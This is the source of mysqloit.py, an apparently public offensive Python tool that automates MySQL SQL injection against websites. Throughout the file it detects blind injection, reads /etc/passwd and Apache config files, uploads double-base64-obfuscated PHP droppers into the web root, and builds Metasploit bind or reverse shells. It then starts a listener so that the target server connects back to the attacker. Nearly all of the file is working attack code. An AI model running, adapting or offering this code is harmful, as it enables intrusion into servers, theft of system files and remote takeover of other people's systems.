-
Notifications
You must be signed in to change notification settings - Fork 4
/
mysqloit.py
executable file
·431 lines (401 loc) · 18 KB
/
mysqloit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
#!/usr/bin/env python
# MySqloit v0.2
# Usage: ./mysqloit.py
import conf
import urllib2
import socket
import base64
import getopt
import sys
import os
import time
import urllib
from urllib2 import Request, urlopen, URLError, HTTPError
import socket
import random
injection_value = None
def hit_url(url):
try:
urllib2.urlopen(url)
except URLError, e:
if "timed out" in e.reason:
print "=> Request to URL [%s] timed out (this is normal)" % url
# Ignore socket timeouts; sometimes when we hit a URl it
# doesn't return anything
pass
else:
raise
def make_request(parameter):
"""
Construct a urllib2 request object and get the response, based on an
exploit parameter. Handles POST and GET request.
"""
global conf
data = None
if conf.request == 'GET' and conf.datatype == 'string':
url = conf.url + '354d3adb33f657' + "'" + parameter ###add single quote
#elite_string1 = "BENCHMARK(10000000,SHA1(1))" + "'"
elif conf.request == 'GET' and conf.datatype == 'integer':
url = conf.url + '3546574545' + parameter
elif conf.request == 'POST' and conf.datatype == 'string':
url = conf.url #post with string
data = conf.post_injection
data = data + "d3adb33f" + "'"
data += parameter + conf.post_last_injection
else:
url = conf.url #post with integer
data = conf.post_injection
data = data + "3451345341"
data += parameter + conf.post_last_injection
req = urllib2.Request(url=url)
#req = urllib2.Request(url,data)
req.add_header('User-Agent', conf.agent)
response = urllib2.urlopen(req, data)
#response = urllib2.urlopen(req)
return response
def test(url):
socket.setdefaulttimeout(20)
global injection_value
url = conf.url
elite_string = "BENCHMARK(10000000,SHA1(1))"
string_quote = ",null" + "'"
into = "+into+outfile+"
union_select = "+UNION+select+"
for i in range(30):
null = ",null"
k= i * null
if conf.datatype == 'string':
parameter = union_select + elite_string + k + string_quote #string requires a single quote for the last null
else:
parameter = union_select + elite_string + k
try:
response = make_request(parameter)
except HTTPError, e:
print 'The server couldn\'t fulfill the request.'
print 'Error code: ', e.code
except URLError, e:
print 'Testing on the deep blind injection'
if 'timed out' in e.reason:
print 'Injection successfull with', parameter
injection_value = parameter
print 'Injection is successfull'
return 'found'
exit(0)
print 'Injection not successfull'
exit(0)
def fingerprint():
socket.setdefaulttimeout(15)
url = conf.url+'"'
inject_error="\'"
response = make_request(inject_error)
html = response.read(300)
print 'Trying discover the working directory through SQL error message'
if html.count('valid MySQL result') or ('error in your SQL syntax') or ('Incorrect column'):
print 'Error successfully generated'
print html
exit(0)
else:
print 'Cant print the working directory through error message'
print 'Trying to discover by loading the conf file'
global injection_value
if fingerprint_inital() == 'linux':
elite_string = 'load_file("/etc/apache2/sites-available/default")'
read_conf_file = injection_value.replace("BENCHMARK(10000000,SHA1(1))",elite_string) # need to add more
print 'Reading the apache2 configuration file'
response = make_request(read_conf_file)
html = response.read(300)
if html.count('DocumentRoot'):
print 'conf file successfully discovered'
print 'Printing the conf file'
print html
exit(0)
else:
elite_string = 'load_file("C:/Program%20Files/Apache%20Group/Apache2/conf/httpd.conf")' #need to add more
read_conf_file = injection_value.replace("BENCHMARK(10000000,SHA1(1))",elite_string)
print 'Reading the apache2 configuration file'
response = make_request(read_conf_file)
html = response.read(3100)
if html.count('DocumentRoot'):
print 'conf file successfully discovered'
print 'Printing the conf file'
print html
else:
print 'Failed to fingerprint conf file'
def fingerprint_inital():
global injection_value
url = conf.url
socket.setdefaulttimeout(15)
if test(url) == 'found':
elite_string = 'load_file("/etc/passwd")'
fingerprint_value = injection_value.replace("BENCHMARK(10000000,SHA1(1))",elite_string) ##no more time based attack
print 'Fingerprinting the operating system'
response = make_request(fingerprint_value)
html = response.read(300)
if html.count('root'):
return 'linux'
else:
return 'windows'
else:
exit(0)
def fingerprint_os():
#configuration()
url = conf.url
#if test(url) == 'found': #do not need this
if fingerprint_inital() == 'linux':
print 'DBS running on Linux!!!'
else:
print 'DBS running on Windows!!!'
def payloads():
argc = len(sys.argv)
if argc < 4:
if sys.argv[2] == 'help':
if fingerprint_inital() == 'linux':
print 'Linux shellcode'
print 'arguments => [bind/reverse/findsock] [port no]'
else:
print 'Windows shellcode'
print 'arguments => [bind/reverse] [port no]'
else:
if sys.argv[2] == 'bind':
if fingerprint_inital() == 'windows':
print 'OS running on Windows'
print 'Baking a bind vnc shellcode for Windows on port', sys.argv[3]
msfpayload = conf.metasploit+"/msfpayload"+" "+"windows/vncinject/bind_tcp"+" "+"LPORT="+sys.argv[3]+" "+"X"
file = open("/tmp/mete.exe","wb")
pipe = os.popen(msfpayload)
for line in pipe.readlines():
file.write(line)
pipe.close()
else:
print 'OS running on Linux'
print 'Baking a bind shellcode for Linux on port', sys.argv[3]
msfpayload = conf.metasploit+"/msfpayload"+" "+"linux/x86/shell/bind_tcp"+" "+"LPORT="+sys.argv[3]+" "+"X"
file = open("/tmp/mete.exe","wb")
pipe = os.popen(msfpayload)
for line in pipe.readlines():
file.write(line)
pipe.close()
elif sys.argv[2] == 'reverse':
if fingerprint_inital() == 'windows':
print 'OS running on Windows'
print 'Baking a reverse vnc shellcode for Windows'
msfpayload = conf.metasploit+"/msfpayload"+" "+"windows/vncinject/reverse_tcp"+" "+"LHOST="+conf.ip+" "+"LPORT="+sys.argv[3]+" "+"X"
file=open("/tmp/mete.exe","wb")
pipe = os.popen(msfpayload)
for line in pipe.readlines():
file.write(line)
pipe.close()
else:
print 'OS running on Linux'
print 'Baking a reverse shellcode for Linux on port', sys.argv[3]
msfpayload = conf.metasploit+"/msfpayload"+" "+"linux/x86/shell/reverse_tcp"+" "+"LHOST="+conf.ip+" "+"LPORT="+sys.argv[3]+" "+"X"
file = open("/tmp/mete.exe","wb")
pipe = os.popen(msfpayload)
for line in pipe.readlines():
file.write(line)
pipe.close()
elif sys.argv[2] == 'findsock':
if fingerprint_inital() == 'windows':
print 'Findsock shell for windows is not supported'
else:
msfpayload = conf.metasploit+"/msfpayload"+" "+"php/shell_findsock"+" "+" "+"R"+" "+"|"+" "+conf.metasploit+"/msfencode"+" "+"-e"+" "+"php/base64"+" "+"-t"+" "+"raw"
file = open("/tmp/shellcode","w")
pipe = os.popen(msfpayload)
for line in pipe.readlines():
file.write(line)
file.close()
pipe.close()
def exploit():
argc = len(sys.argv)
if argc < 4:
if sys.argv[2] == 'help':
print 'arguments => [bind/reverse/findsock] [port no] [working dir] [uploaded shellcode dir]'
else:
url = conf.url
global random_file
if test(url) == 'found':
if fingerprint_inital() == 'windows':
random_file = random.random()
first_var_exe = "<?php%20$filename%20=%20'compress2"+str(random_file)+".exe';" #compresss shellcode on the web server
second_var_exe = "$myFile%20=%20'metedecom"+str(random_file)+".exe';" ##metedecom.exe
reverse_shell=conf.metasploit+"/msfcli"+" "+"exploit/multi/handler"+" "+"PAYLOAD=windows/vncinject/reverse_tcp"+" "+"LHOST="+conf.ip+" "+"LPORT="+sys.argv[3]+" "+"E"
bind_shell=conf.metasploit+"/msfcli"+" "+"exploit/multi/handler"+" "+"PAYLOAD=windows/vncinject/bind_tcp"+" "+"RHOST="+conf.ip+" "+"LPORT="+sys.argv[3]+" "+"E"
chmod = first_var_exe+second_var_exe+"exec($myFile);"
elif fingerprint_inital() == 'linux':
random_file = random.random()
reverse_shell=conf.metasploit+"/msfcli"+" "+"exploit/multi/handler"+" "+"PAYLOAD=linux/x86/shell/reverse_tcp"+" "+"LHOST="+conf.ip+" "+"LPORT="+sys.argv[3]+" "+"E"
bind_shell=conf.metasploit+"/msfcli"+" "+"exploit/multi/handler"+" "+"PAYLOAD=linux/x86/shell/bind_tcp"+" "+"RHOST="+conf.ip+" "+"LPORT="+sys.argv[3]+" "+"E"
first_var_exe = "<?php%20$final_output%20=%20'mysqploit"+str(random_file)+".exe';" #this is owned by mysql user
second_var_exe = "$file_input%20=%20'metedecom"+str(random_file)+".exe';"
chmod = first_var_exe+second_var_exe+"$s='YzJWMFgyMWhaMmxqWDNGMWIzUmxjMTl5ZFc1MGFXMWxJQ2d3S1RzS0pHaGtJRDBnWm" + \
"05d1pXNG9KR1pwYkdWZmFXNXdkWFFzSUNkeVlpY3BPd29rYlhsemRISnBibWR2ZFhROUlHWnlaV0ZrS0NSb1pDd2dNVEF3TURBd0" + \
"tUc0tabU5zYjNObEtDUm9aQ2s3Q2lSd2RISWdQU0JtYjNCbGJpZ2tabWx1WVd4ZmIzVjBjSFYwTENBbmQySW5LVHNLWm5keWFYUm" + \
"xLQ1J3ZEhJc0lDUnRlWE4wY21sdVoyOTFkQ2s3Q21aamJHOXpaU2drY0hSeUtUc0tKR1pwYm1Gc0lEMGdJbU5vYlc5a0lEYzNOeU" + \
"FrWm1sdVlXeGZiM1YwY0hWMElqc0tjSEpwYm5RZ0pHWnBibUZzT3dwemVYTjBaVzBvSWlSbWFXNWhiQ0lwT3dwemVYTjBaVzBvSW" + \
"k0dkpHWnBibUZzWDI5MWRIQjFkQ0lwT3c9PQ==';eval(base64_decode(base64_decode($s)));"
global injection_value
access_file="php"+" "+"/tmp/compress.php"
delete_file="rm"+" "+"-"+"rf"+" "+"/tmp/compress.php"
delete_exe="rm"+" "+"-"+"rf"+" "+"/tmp/compress2.exe"
delete_trim1="rm"+" "+"-"+"rf"+" "+"/tmp/trim1.txt"
delete_trim2="rm"+" "+"-"+"rf"+" "+"/tmp/trim2.txt"
delete_mete="rm"+" "+"-"+"rf"+" "+"/tmp/mete.exe"
trim="xxd"+" "+"-p"+" "+"/tmp/compress2.exe"+">"+"/tmp/trim1.txt"
delete_exe="rm"+" "+"-"+"rf"+" "+"/tmp/mete.exe"
trim2="cat"+" "+"/tmp/trim1.txt"+" "+"|"+" "+"tr"+" "+"-d"+" "+"\\"+"\\n"+">"+"/tmp/trim2.txt"
gzip = "<?php $s='SkdacGJHVnVZVzFsSUQwZ0lpOTBiWEF2YldWMFpTNWxlR1VpT3dva2FHRnVaR3hsSUQwZ1ptOXda" + \
"VzRvSkdacGJHVnVZVzFsTENBaQpjbUlpS1RzS0pHTnZiblJsYm5SeklEMGdabkpsWVdRb0pHaGhi" + \
"bVJzWlN3Z1ptbHNaWE5wZW1Vb0pHWnBiR1Z1WVcxbEtTazdDbVZqCmFHOGdjMmw2Wlc5bUtDUmpi" + \
"MjUwWlc1MGN5azdDaVJqYjIxd2NtVnpjMlZrSUQwZ1ozcGpiMjF3Y21WemN5Z2tZMjl1ZEdWdWRI" + \
"TXAKT3dwbVkyeHZjMlVvSkdoaGJtUnNaU2s3Q2lSdGVVWnBiR1VnUFNBaUwzUnRjQzlqYjIxd2Nt" + \
"Vnpjekl1WlhobElqc0tKR1pvSUQwZwpabTl3Wlc0b0pHMTVSbWxzWlN3Z0ozZGlKeWtnYjNJZ1pH" + \
"bGxLQ0pqWVc0bmRDQnZjR1Z1SUdacGJHVWlLVHNLWm5keWFYUmxLQ1JtCmFDd2dKR052YlhCeVpY" + \
"TnpaV1FwT3dwbVkyeHZjMlVvSkdab0tUcz0=';eval(base64_decode(base64_decode($s)));"
file = open("/tmp/compress.php", "w")
file.write(gzip)
file.close()
os.system(access_file)
os.system(trim)
os.system(trim2)
os.system(delete_mete)
site = conf.site
into = '+into+dumpfile+'
union_select = '+UNION+select+'
FILE = '/tmp/trim2.txt'
f = open(FILE, 'r')
string = f.read()
string_encode = urllib.quote_plus(string)
#for i in range(50):
#k = i * ',0x00' ##need to use this on thr last part of injection string
elite_string='0x'+string_encode
if conf.datatype == 'string':
end = ""
else:
end = "'"
upload = into+"'"+urllib.quote(sys.argv[4])+sys.argv[5]+'/compress2'+str(random_file)+'.exe' + end
#upload= into+"'"+(sys.argv[4])+sys.argv[5]+'/compress2'+str(random_file)+'.exe' + end
exploit_injection = injection_value.replace("BENCHMARK(10000000,SHA1(1))",elite_string)
noop = ",0x00" #either 0x00 or 0x90
#half_injection = exploit_injection.replace(",null'",noop)
#if conf.datatype == 'string':
null_quote = ",0x00'"
#else:
null = ",null"
half_injection = exploit_injection.replace(null,noop)
half_injection = half_injection.replace(null_quote,noop) #useful for POST as POST uses quote for the last null
full_injection = half_injection + upload
print 'Uploading compressed shellcode ==>', full_injection
response = make_request(full_injection)
os.system(delete_file)
os.system(delete_exe)
os.system(delete_trim1)
os.system(delete_trim2)
os.system(delete_exe)
if conf.datatype == 'string':
end = ""
else:
end = "'"
first_var = "<?php%20$filename%20=%20'compress2"+str(random_file)+".exe';" #compresss shellcode on the web server
second_var = "$myFile%20=%20'metedecom"+str(random_file)+".exe';" ##metedecom.exe
dgzip = first_var+second_var+"$s='SkdoaGJtUnNaU0E5SUdadmNHVnVLQ1JtYVd4bGJtRnRaU3dnSW5KaUlpazdDaVJqY" + \
"jI1MFpXNTBjeUE5SUdaeVpXRmtLQ1JvWVc1a2JHVXNJR1pwYkdWemFYcGxLQ1JtYVd4bGJtRnRaU2twT3dva2RXNWpiMjF3Y21W" + \
"emMyVmtJRDBnWjNwMWJtTnZiWEJ5WlhOektDUmpiMjUwWlc1MGN5azdDbkJ5YVc1MElIVnVZMjl0Y0hKbGMzTmxaRHNLSTJaamJ" + \
"HOXpaU2drYUdGdVpHeGxLVHNLQ2lSbWFDQTlJR1p2Y0dWdUtDUnRlVVpwYkdVc0lDZDNZaWNwSUc5eUlHUnBaU2dpWTJGdUozUW" + \
"diM0JsYmlCbWFXeGxJaWs3Q21aM2NtbDBaU2drWm1nc0lDUjFibU52YlhCeVpYTnpaV1FwT3dwbVkyeHZjMlVvSkdab0tUc0s='" + \
";eval(base64_decode(base64_decode($s)));"
elite_string='"'+dgzip+'"'
upload= into+"'"+urllib.quote(sys.argv[4])+sys.argv[5]+'/decompress'+str(random_file)+'.php'+ end #changes on new version
exploit_injection = injection_value.replace("BENCHMARK(10000000,SHA1(1))",elite_string)
noop = ",0x00"
null_quote = ",0x00'"
half_injection = exploit_injection.replace(null,noop)
half_injection = half_injection.replace(null_quote,noop)
full_injection = half_injection + upload
print 'Uploading decompression tool',full_injection
response = make_request(full_injection)
elite_string='"'+chmod+'"'
upload= into+"'"+urllib.quote(sys.argv[4])+sys.argv[5]+'/metedecom'+str(random_file)+'.php'+ end #changes on new version
exploit_injection = injection_value.replace("BENCHMARK(10000000,SHA1(1))",elite_string)
noop = ",0x00"
null_quote = ",0x00'"
half_injection = exploit_injection.replace(null,noop)
half_injection = half_injection.replace(null_quote,noop)
full_injection = half_injection + upload
print 'Uploading chmod tool',full_injection
response = make_request(full_injection)
time.sleep(10)
shell_url = site+"/"+sys.argv[5]+'/decompress'+str(random_file)+'.php'
print 'Decompressing shellcode'
socket.setdefaulttimeout(15)
print shell_url
hit_url(shell_url)
shell_url = site+"/"+sys.argv[5]+'/metedecom'+str(random_file)+'.php'
if sys.argv[2] == 'reverse':
pid = os.fork()
if pid == 0:
print '=> Executing shellcode'
time.sleep(20)
hit_url(shell_url)
exit(0)
else:
print '=> Starting metasploit listener on port', sys.argv[3]
os.system(reverse_shell) ##just removed on the latest version
elif sys.argv[2] == 'bind':
pid = os.fork()
if pid == 0:
print '=> Connecting to port', sys.argv[3]
hit_url(shell_url)
exit(0)
else:
print '=> Executing shellcode'
os.system(bind_shell)
time.sleep(10)
exit(0)
else:
print 'Wrong arguments'
def main(argv):
try:
opt, args = getopt.getopt(argv, "htofp:e:", ["help", "test", "os", "fingerprint", "payload=", "exploit="])
except getopt.GetoptError, err:
print str(err)
usage()
sys.exit(2)
for o, a in opt:
if o in ("-h", "--help"):
usage()
sys.exit()
elif o in ("-t", "--test"):
test(a)
elif o in ("-o", "--os"):
fingerprint_os()
elif o in ("-f", "--fingerprint"):
fingerprint()
elif o in ("-p", "--payload"):
payloads()
elif o in ("-e", "--exploit"):
exploit()
else:
assert False, "unhandled option"
def usage():
usage = """
\||/
| @___oo
/\ /\ / (__,,,,|
) /^\) ^\/ _)
) /^\/ _)
) _ / / _) MySqloit
/\ )/\/ || | )_)
< > |(,,) )__)
|| / \)___)\
| \____( )___) )___
\______(_______;;; __;;;
-h --help Help
-t --test Test the SQL Injection
-o --os Fingerprint the operating system
-f --fingerprint Fingerprint the working directory
-e --exploit Exploit. Enter 'help' as argument for more options
-p --payload Create payload. Enter 'help' as argument for more options
"""
print usage
if __name__ == "__main__":
main(sys.argv[1:])